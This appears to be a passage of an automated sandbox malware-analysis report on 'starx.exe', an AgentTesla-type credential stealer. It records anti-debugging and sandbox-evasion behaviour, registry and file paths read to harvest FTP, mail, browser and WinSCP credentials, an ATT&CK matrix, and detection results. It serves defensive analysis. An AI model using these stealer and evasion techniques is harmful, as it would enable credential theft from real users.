Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -105282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -34688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -42141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -82782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -46000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -31641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -41250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -31188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -31250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -57408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -78141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -72891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -41908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -62391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -76188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -34908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -34408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -77735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -43641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -83391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -52500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -66188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -88077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -85077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -82827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -79827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -77577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -50218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -74577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -46718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -69327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -61827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -50577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -43077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -37827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30718s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\starx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\starx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\starx.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00465E48 GetSystemTime followed by cmp: cmp word ptr [ebp-18h], 07dfh and CTI: jnc 00465E6Fh

0_2_00465E48

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00408454 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,		0_2_00408454
Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00405098 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,		0_2_00405098

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_0041E338 GetSystemInfo,

0_2_0041E338

Source: starx.exe, 00000002.00000002.1015558203.0000000005340000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: starx.exe, 00000002.00000002.1010031322.0000000000690000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZZb
Source: starx.exe, 00000002.00000002.1015558203.0000000005340000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: starx.exe, 00000002.00000002.1015558203.0000000005340000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: starx.exe, 00000002.00000002.1015558203.0000000005340000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\starx.exe	API call chain: ExitProcess graph end node	graph_0-33588
Source: C:\Users\user\Desktop\starx.exe	API call chain: ExitProcess graph end node	graph_0-33584
Source: C:\Users\user\Desktop\starx.exe	API call chain: ExitProcess graph end node	graph_0-33592
Source: C:\Users\user\Desktop\starx.exe	API call chain: ExitProcess graph end node	graph_2-40231
Source: C:\Users\user\Desktop\starx.exe	API call chain: ExitProcess graph end node	graph_2-40450

Source: C:\Users\user\Desktop\starx.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe	Process queried: DebugFlags			Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process queried: DebugObjectHandle			Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Code function: 2_2_059DC59E KiUserExceptionDispatcher,KiUserExceptionDispatcher,KiUserExceptionDispatcher,LdrInitializeThunk,

2_2_059DC59E

Source: C:\Users\user\Desktop\starx.exe

Code function: 2_2_0043F6F3 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0043F6F3

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00465CEC VirtualProtect ?,0000F9B9,00000104,?,00000000,0000F9B9,00003000,00000004

0_2_00465CEC

Source: C:\Users\user\Desktop\starx.exe

0_2_004265C8

Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_00443412 mov eax, dword ptr fs:[00000030h]		2_2_00443412
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_004434D0 mov eax, dword ptr fs:[00000030h]		2_2_004434D0

Source: C:\Users\user\Desktop\starx.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe	Code function: 0_2_00465ED0 KiUserExceptionDispatcher,739EB410,GetSystemMetrics,GetSystemMetrics,ExitProcess,RtlAddVectoredExceptionHandler,	0_2_00465ED0
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_0043E746 SetUnhandledExceptionFilter,	2_2_0043E746
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_0043F6F3 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0043F6F3
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_00441D7F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00441D7F
Source: C:\Users\user\Desktop\starx.exe	Code function: 2_2_0043FBB5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0043FBB5

Source: C:\Users\user\Desktop\starx.exe

Memory protected: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\starx.exe

Section loaded: unknown target: C:\Users\user\Desktop\starx.exe protection: execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Process created: C:\Users\user\Desktop\starx.exe 'C:\Users\user\Desktop\starx.exe'

Jump to behavior

Source: starx.exe, 00000002.00000002.1010950268.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: starx.exe, 00000002.00000002.1010950268.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: NProgram Manager
Source: starx.exe, 00000002.00000002.1010950268.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: starx.exe, 00000002.00000002.1010950268.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\starx.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	0_2_00405250
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,GetACP,	0_2_0040C4C0
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,	0_2_0040AE68
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,	0_2_0040AE1C
Source: C:\Users\user\Desktop\starx.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	0_2_0040535C
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,	0_2_00405B7A
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,	0_2_00405B7C
Source: C:\Users\user\Desktop\starx.exe	Code function: GetLocaleInfoA,	2_2_00442A4A

Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Users\user\Desktop\starx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_0040991C GetLocalTime,

0_2_0040991C

Source: C:\Users\user\Desktop\starx.exe

Code function: 2_2_059DB5ED GetUserNameW,

2_2_059DB5ED

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_004482AC GetVersion,

0_2_004482AC

Source: C:\Users\user\Desktop\starx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1009882459.0000000000630000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1010610583.0000000000AF2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364864002.0000000004172000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1010558328.0000000000AB2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: starx.exe PID: 6960, type: MEMORY
Source: Yara match	File source: Process Memory Space: starx.exe PID: 6728, type: MEMORY
Source: Yara match	File source: 2.2.starx.exe.630000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.630000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.ab0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.starx.exe.4170000.4.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\starx.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\starx.exe

File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\starx.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\starx.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match	File source: 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: starx.exe PID: 6960, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1009882459.0000000000630000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1010610583.0000000000AF2000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.364864002.0000000004172000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1010558328.0000000000AB2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: starx.exe PID: 6960, type: MEMORY
Source: Yara match	File source: Process Memory Space: starx.exe PID: 6728, type: MEMORY
Source: Yara match	File source: 2.2.starx.exe.630000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.630000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.starx.exe.ab0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.starx.exe.4170000.4.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools11	OS Credential Dumping2	System Time Discovery111	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API13	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information1	Input Capture21	Account Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection112	Obfuscated Files or Information2	Credentials in Registry1	File and Directory Discovery1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing21	NTDS	System Information Discovery128	Distributed Component Object Model	Input Capture21	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery251	SSH	Clipboard Data1	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion15	Cached Domain Credentials	Virtualization/Sandbox Evasion15	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery11	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
starx.exe	57%	Virustotal		Browse
starx.exe	39%	Metadefender		Browse
starx.exe	83%	ReversingLabs	Win32.Trojan.LokibotCrypt
starx.exe	100%	Avira	TR/Injector.btvpa
starx.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.starx.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1131223	Download File
2.1.starx.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.starx.exe.af0000.5.unpack	100%	Avira	TR/Spy.Gen8	Download File
0.2.starx.exe.25b0000.3.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://subca.ocsp-certum.com0.	0%	URL Reputation	safe
http://subca.ocsp-certum.com0.	0%	URL Reputation	safe
http://subca.ocsp-certum.com0.	0%	URL Reputation	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
http://rvlyyV.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe
http://PsF9BDspIqQdTVi.net	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	Virustotal		Browse
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
